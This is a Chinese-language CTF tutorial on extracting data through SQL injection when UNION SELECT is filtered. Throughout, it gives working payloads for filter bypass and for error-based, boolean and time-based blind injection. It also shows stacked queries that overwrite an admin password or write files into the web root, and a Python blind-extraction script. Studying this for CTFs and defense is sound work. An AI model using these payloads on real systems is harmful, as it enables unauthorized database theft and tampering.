第一次在比赛里碰到联合查询被禁用的时候,我心里其实是一沉。当时题目环境是一个很典型的SQL注入点,参数直接拼进查询,前两关用union select打得顺风顺水,第三关突然一串preg_match把union和select连着一起毙了,页面返回空白,连报错都不给。那时候我就意识到,CTF里SQL注入的考察重点之一,就是“不给你最顺手的工具时,你还能不能拿到数据”。
联合查询被禁这个条件,乍一看很要命,毕竟union select是SQL注入里拿数据最直观的路径:一次请求就能把目标字段拼到结果里回显出来。但真正打过几道题之后会发现,数据库能输出数据的方式远不止这一条,关键在于你有没有把“从库里读数据”这件事拆解成更底层的原语——比较、报错、延时、日志外带,这些都可以组合成替代方案。这篇文章就把我在实战和解题里用过、踩过坑的思路整理一遍,按场景给你一套可以直接拿去用的替代方案。
1. 先弄清:联合查询到底是被什么禁了
拿到一个注入点,发现union被禁了,别急着换payload,先搞清楚“禁”发生在哪一层。不同层级的过滤对应完全不同的绕过策略,搞错方向就是在浪费时间。
1.1 过滤发生的层级与常见手法
联合查询被禁用,最常见的原因有这么几类。第一类是应用层的正则过滤,比如PHP里写了类似preg_match('/union|select/i', $id)的逻辑,一旦命中就直接拦截。这种过滤是最容易绕的,大小写、内联注释、URL编码、等价关键字都有机会,但也是最烦人的,因为你不知道规则到底写了什么,只能一点一点试探。
第二类是WAF规则的拦截,CTF里少见,但在演练环境里很常见。WAF通常不止看单次关键字,还会做语义分析,比如把注释符去掉、把空格替换成%09之后再拼起来检测。面对这种情况,单纯靠字符变体往往过不去,得考虑换思路。
第三类过滤更隐蔽,它不是过滤关键字,而是限制结果行数或者限制查询语句条数。比如用mysqli_multi_query但不允许堆叠语句,或者查询结果只取第一行,union select后面的数据根本不会显示出来。这种时候你甚至不需要绕关键字,直接把注入点改成条件判断就能继续。
还有一个容易忽略的情况:数据库本身没问题,但代码用了预处理语句(prepared statement),参数被绑定,无法直接注入。这种情况“联合查询被禁用”是伪命题,因为压根没有注入点,题目可能考的是二次注入或者存储过程调用,别在union上死磕。
1.2 确定过滤规则后的第一波尝试
在放弃union之前,我一般会先做一轮轻量级试探,目的不是直接绕过,而是摸清过滤规则的边界。比如尝试:
Union Select(大小写混合)/**/union/**/select/**/(内联注释)UNIunionON SELselectECT(关键字拆分)%75nion%20sel%65ct(URL编码)union%09select(替换空白字符)/*!50000union*/ /*!50000select*/(MySQL版本注释)
这一轮下来,如果发现大小写能过、注释能过,那后面就可以在union的基础上继续做文章。如果全被拦,说明过滤规则大概率是检测“union select”组合出现的,单纯的字符变体没用,这时候就该切到盲注或者报错注入了。
还有一种情况值得提:过滤规则只认union和select中间有空格,但/*!50000union*/这种版本注释执行完实际语义还是union,很多正则没考虑,我拿这招在不止一道题里成功绕过了。不过如果连这种都过不去,就不再浪费时间,直接走替代路线。记住这个判断逻辑:能绕则绕,绕不过就换路,CTF里时间是最大的成本。
2. 数据外带的几种替代思路
联合查询的本质是把多张表的结果拼成一份结果集。禁掉它,等价于“你不能一次性把目标数据带到回显区”,但数据本身并没有消失,你依然可以通过其他方式感知它的存在。下面这几种思路是我用过的最有效的替代方案。
2.1 布尔盲注:页面响应本身就是情报
布尔盲注是最通用、也最稳定的替代方案。它的核心思路是把查询变成一个“能确认真假”的表达式:如果条件成立,页面返回正常,如果不成立,页面返回异常或空白。然后通过逐字符比较,把一条一条的数据拆出来。
比如有一个注入点是id=1,正常URL是/item.php?id=1,页面显示详情。构造id=1 and (select substring(database(),1,1))='a',如果数据库第一个字符是a,页面正常,否则异常。这样你就可以把整个库名、表名、字段名、数据内容全部逐字提取。
实操上有两个细节非常关键。
第一个是判断依据要稳。有的页面不管查询真假都返回同样的HTML结构,只是某段内容不同,这时候你不能只盯“有没有报错”,要盯“特定内容是否出现”。我用Python写脚本时,会先抓取id=1的正常响应作为基线,再抓取id=2 and 1=2的异常响应作为对照,然后逐字符比对,而不是硬编码一个关键词。
第二个是二分法提速。ASCII码的比对范围是0到127,逐字符线性扫描太慢。对每个字符先用ascii(substr(...))>x判断大小,再在区间里二分,一个字符最多7到8次请求就能锁定。一个库名加表结构加起来大概几十个字符,手动测根本不现实,必须脚本化,后面我会给一个可以直接改改用的脚本模板。
2.2 报错注入:让数据库把数据喊出来
报错注入是另一种高性价比的方案,尤其在MySQL环境里,能用一条报错信息把目标数据带进错误文本中。常见的报错函数有extractvalue()和updatexml(),用法比较接近,我给个实际payload:
and extractvalue(1, concat(0x7e, (select database()), 0x7e))这条语句执行后会触发XPATH语法错误,数据库返回类似XPATH syntax error: '~database_name~'的信息,目标数据就被夹在错误文本里输出了。注意0x7e是波浪号~的十六进制编码,作用是让报错信息里的前后缀变得肉眼可见,防止和目标数据黏连分不清边界。
很多人以为报错注入需要页面能显示SQL错误,确实如此,所以它用不了时的Plan B是时间盲注。但在CTF里,很多题目为了方便选手调试,会故意开启display_errors,看到异常输出就可以直接想到报错注入。我自己的优先级是:能报错就不盲注,一次请求出结果,效率高得多。
还有一个比较经典的报错payload是基于floor(rand(0)*2)配合group by主键冲突的写法,它依赖的是MySQL的随机行为,偶尔会失效,稳定性不如extractvalue和updatexml,现在遇到得少了。另外要注意,报错注入的报错文本长度有限制,extractvalue大约只能显示32个字符,超过会被截断。提取长字段时,要用substr分段截取,像这样:
and extractvalue(1, concat(0x7e, (select substr(flag, 1, 30) from table_name limit 0,1)))一段一段取,每段控制在30个字符以内,否则后半段会消失。
2.3 时间盲注:响应时间当信号灯
如果页面既没有回显,也不显示报错,那就只剩时间盲注这条通用路径了。它的核心是让数据库执行sleep()函数,根据响应时间判断条件真假。比如:
and if((select substring(database(),1,1))='a', sleep(3), 0)条件成立时数据库睡3秒,页面延迟返回;条件不成立时立刻返回。你的“是否等于”判断信号从“页面内容差异”变成了“响应时间差”。
时间盲注对网络稳定性要求很高,目标服务器的正常响应如果本身波动就大,误判率会直线上升。我的做法是把延时阈值设得比正常响应慢3到5倍,比如正常响应0.2秒左右,就设if(condition, sleep(2), 0),让真假时差拉大,然后每个字符测两遍,第一遍用>判断范围,第二遍用=确认具体值,两个结果一致才采信。
另外还有一点容易被新手忽略:sleep()函数本身可能被过滤。有些题目会过滤sleep关键字,这时候可以换benchmark()或者写一个耗时的计算表达式。比如MySQL里benchmark(10000000, sha1('test'))会反复执行一百万次哈希计算,也是一个延时效果,不过具体执行时间不稳定,不如sleep干净。真到这种环境,我会先试sleep,再试benchmark,都不行就回去抠布尔盲注——总有页面输出差异可以被利用。
2.4 堆叠注入与文件写入的边界
如果目标数据库连接支持多语句执行,也就是常说的堆叠注入,那替代方案一下就开阔了。你可以在一条请求里拼上多条SQL语句,像这样:
id=1; update users set password='123' where username='admin'在CTF里,堆叠注入最常见的用途是利用MySQL的into outfile把查询结果写入服务器文件,比如写一个带内容的临时文件,然后直接访问文件拿到数据。payload类似:
id=1; select flag from secret_table into outfile '/var/www/html/tmp_flag.txt'写完直接访问tmp_flag.txt,数据就到手了。要注意into outfile能不能成功,取决于MySQL账号有没有FILE权限、secure_file_priv变量有没有限制目录,以及web目录的写入权限。很多CTF环境会故意开启这个点当考点,但现实业务系统里限制通常比较严。
堆叠注入还有一个方向是配合MySQL预处理语句,绕过一些参数化的限制。比如:
id=1; set @sql = concat('sel', 'ect flag from secret_table'); prepare stmt from @sql; execute stmt;这样可以用字符串拼接拼出被过滤的关键字,在堆叠环境下绕过黑名单。不过想到这一步,题目一般已经偏向复杂综合了,优先级没那么高。先把盲注和报错的路走通,再考虑堆叠外带才比较稳。
3. 实操:从payload构造到脚本化盲注
有了思路,接下来就是把方案落到实处的环节。我不打算讲那种理想化的纯手工一条条URL测试,因为在真实CTF里,时间就是分数,手工只用来确认判断依据,批量提取必须交给脚本。
3.1 手动验证与payload模板
拿到一个注入点,我通常会在浏览器里先验证两件事:第一,注入点有没有回显位;第二,union被禁的具体表现是什么。验证完再决定用哪条路线。
如果确认走布尔盲注,先构造两个基础请求获取状态基线。以id=1为例:
原始请求:http://target/item.php?id=1 条件为真的请求:http://target/item.php?id=1 and 1=1 条件为假的请求:http://target/item.php?id=1 and 1=2把这三个请求分别发出去,记录返回状态码、页面长度和正文特征。如果1=1的响应长度和原始请求一样,1=2的响应明显变短或者跳转到错误页,那一个稳定的布尔信号就建立起来了。
payload模板可以固定成下面这样:
and if((select ascii(substr(database(), {position}, 1))) > {threshold}, 1, 0){position}是当前字符位置,{threshold}是二分法猜的ASCII值。条件成立时走正常分支,不成立时返回异常分支,用响应差异判断大小。
3.2 用Python快速实现布尔盲注
手动确认信号有效后,我通常直接上Python脚本。下面这个模板是我一直在用的基础版,逻辑清晰也好扩展。
import requests base_url = "http://target/item.php" false_marker = "not found" # 根据实际页面特征修改 def http_get(payload): resp = requests.get(base_url, params={"id": payload}, timeout=10) return resp.text def is_true(payload): html = http_get(payload) return false_marker not in html def extract_string(sql_expr, length): result = "" for pos in range(1, length + 1): low, high = 32, 127 while low < high: mid = (low + high) // 2 payload = f"1 and if((select ascii(substr(({sql_expr}),{pos},1)))>{mid},1,0)" if is_true(payload): low = mid + 1 else: high = mid result += chr(low) print(f"[+] position {pos}: {repr(chr(low))}") return result # 示例:提取当前数据库名,假设长度不超过16 print(extract_string("database()", 16))这个脚本的核心就是二分法加布尔判断。每判断一个字符的ASCII值大于还是小于中位数,能稳定把请求数从127次压到最多7次。注意false_marker要根据目标页面的具体特征去改,不能用死的状态码。
我实际用过一次,目标库表结构加全表数据总共大约50个字符,跑了小几百个请求,大概一分半钟出结果。跑的时候会发现,网络偶尔抖动会让个别字符判错,解决办法是写一个“重测偏差字符”的逻辑,或者在结果出来后挑几个关键字符手动验证。别指望脚本一次跑对,预留校验步骤比什么都重要。
3.3 题外话:order by注入与宽字节场景
有些题目里,注入点藏在ORDER BY子句中,比如order by ${column}。这种位置不能用union select拼结果集,因为ORDER BY后面不接结果列,但它可以参与条件判断。我的做法是把order by之后的参数拼成布尔条件,比如:
order by if(1=1, id, price)如果页面排序结果不同,你就有布尔差异可用了。再配上extractvalue这类报错注入同样有效,因为order by子句中也可以执行函数。我记得有一道题的排序参数做了intval强转,直接把注入点堵死了,那就只能看其他输入点有没有二次注入机会了。
宽字节注入主要出现在数据库编码是GBK、同时用了addslashes或者magic_quotes这类转义机制的时候。核心思路是利用MySQL对GBK编码的解析,让转义符\被吃掉,从而闭合引号。经典payload是用%df'(或%bf')触发宽字节解析:
id=%df' and 1=1 --+转义符变成前面字节的一部分被吞掉,单引号就裸出来了。这种场景下,union select未必会被禁用,但很多系统的过滤函数会一起处理编码和关键字。市面上有一些自动脚本可以配合检测,但在比赛里更推荐手动构造两三个请求确认编码细节,别一上来就梭哈。宽字节和联合查询的组合并不复杂,核心还是要把“编码层”和“业务层”分开看待。
4. 常见问题排查与避坑记录
这一节写得比前面都随意,因为这些全是我真实踩过的坑,不是理论知识,每一条都可能帮你省下半小时。
4.1 盲注脚本的几个经典Bug
盲注脚本最容易翻车的点,就是只靠“页面里有没有某个关键词”来判断真假,而这个关键词本身在正常页面里也会偶尔出现。我遇到过一次,正常请求里有个“暂无数据”的提示,异常请求反而没有,我把false_marker设成“暂无数据”,结果真假判断反了,前面几个字符越测越乱。
后来我的统一做法是:无论如何先抓三个响应,即1、1 and 1=1、1 and 1=2的HTML快照,用文本差异对比工具看差异区,再选一个只在其中一种响应里出现的字符串做标记。只看status_code也很危险,有些框架对错误统一返回200。
再有就是盲注脚本忘了处理URL编码。payload里如果包含空格、单引号、注释符,直接塞进参数值,requests库虽然会自动编码,但部分SQL注入点对编码后的查询解析不同,遇到异常可以先用burp抓包看看实际发出的请求格式。
4.2 更隐蔽的过滤:空格、逗号、注释符
就算union没有被直接过滤,你还会遇到空格被过滤的情况。常见绕过是改用%09(水平Tab)、%0a(换行)、/**/(注释)填充SQL中的空白位置。比如:
id=1/**/and/**/1=1如果逗号也被过滤,substr(str,1,1)这种函数就用不了,但可以换成substr(str from 1 for 1)或者mid(str from 1 for 1)的写法,这两种语法用from和for代替了逗号。另外一个办法是按需重组payload:按位置切分数据不一定非用substr,left()配合right()也能实现。
注释符被过滤的情况也很常见,--+和#是闭合SQL语句末端的常用手段。如果这两个都被过滤,可以直接用1 and结尾,把注释符省掉,前提是拼接后的SQL本身语法能保持成立。逻辑就是一个原则:过滤了哪种字符,就找它的等价替代品,这些技巧组合在一起威力巨大。
4.3 优先用字典测试,别硬猜表名
很多CTF题目的表名和字段名是常见的组合,比如flag、secret、users、admin。盲注逐字符猜表名既慢又不一定对,我会在脚本里内置一个小字典,先跑一遍现有表名和字段名的快速匹配,命中再转入逐字符提取。字典优先的顺序是:
- 常见表名:
flag、secret、users、admin、user、member - 常见列名:
flag、username、password、passwd、user_name、ctf
如果字典命中了一个,直接提数据就完事,整个过程可能只要几十个请求。比从information_schema一步步查出来快得多。当然,真实CTF也有故意用随机表名的题,那时候字典没用,还是得走系统表查询。
关于从information_schema取表名,注意很多环境会过滤information_schema关键字,替代方案是直接用mysql.innodb_table_stats这类系统表,或者用sys.schema_auto_increment_columns,不同的MySQL版本可用表不一样,比赛中可以多备几个库表名。
4.4 关于报错注入的截断与输出位置
说完盲注,再补一句报错注入的坑。extractvalue和updatexml的错误信息长度上限是32个字符,如果你直接select flag from table,大概率会被截断,只看到开头一小段。正确操作是每次只取30个字符左右,分段拼接。
还有,很多选手第一次用报错注入时发现输出格式很怪,比如带了~前缀,这其实是我前面说的0x7e的用处。把分隔符替换成别的字符也行,只要别和数据内容撞车就行。写脚本提取报错文本时,用正则匹配~(.*?)~会非常方便。
5. 一点经验笔记:把“禁union”看成一道组合题
写完上面的实操内容,最后分享一点我个人沉淀的想法。打CTF打多了会发现,题目里出现“联合查询被禁用”这类条件,其实不是单纯为了卡你,而是想看你面对限制条件时有没有完整的替代知识网络。你在union上被卡住,真正要问的不是“怎么绕过这个filter”,而是“我手里还有哪些读取数据的原语”。
布尔盲注适合任何有关键逻辑差异的场景,报错注入适合有错误回显的场景,时间盲注是最后的兜底,堆叠注入则看数据库连接配置。把这些路径组合起来,几乎能覆盖90%以上的CTF注入场景。真正做题时,我也会把多种方法揉在一起:先用字典快速碰表名,再用报错注入拿库名,最后用布尔盲注脚本提数据。效率和稳定性都比我单打一条路要高得多。
在实际使用中,我最常说的一句话是:payload是死的,思路是活的。每次遇到过滤,不要急着把网上找的payload往题目里套,先手动发三五个请求把过滤规则摸清楚,再从上到下选一条合适的路径,整道题打下来会顺很多。希望这篇内容能帮你少踩几个坑,比赛里如果真遇到union被禁的情况,这套方案能让你多一条清晰的退路。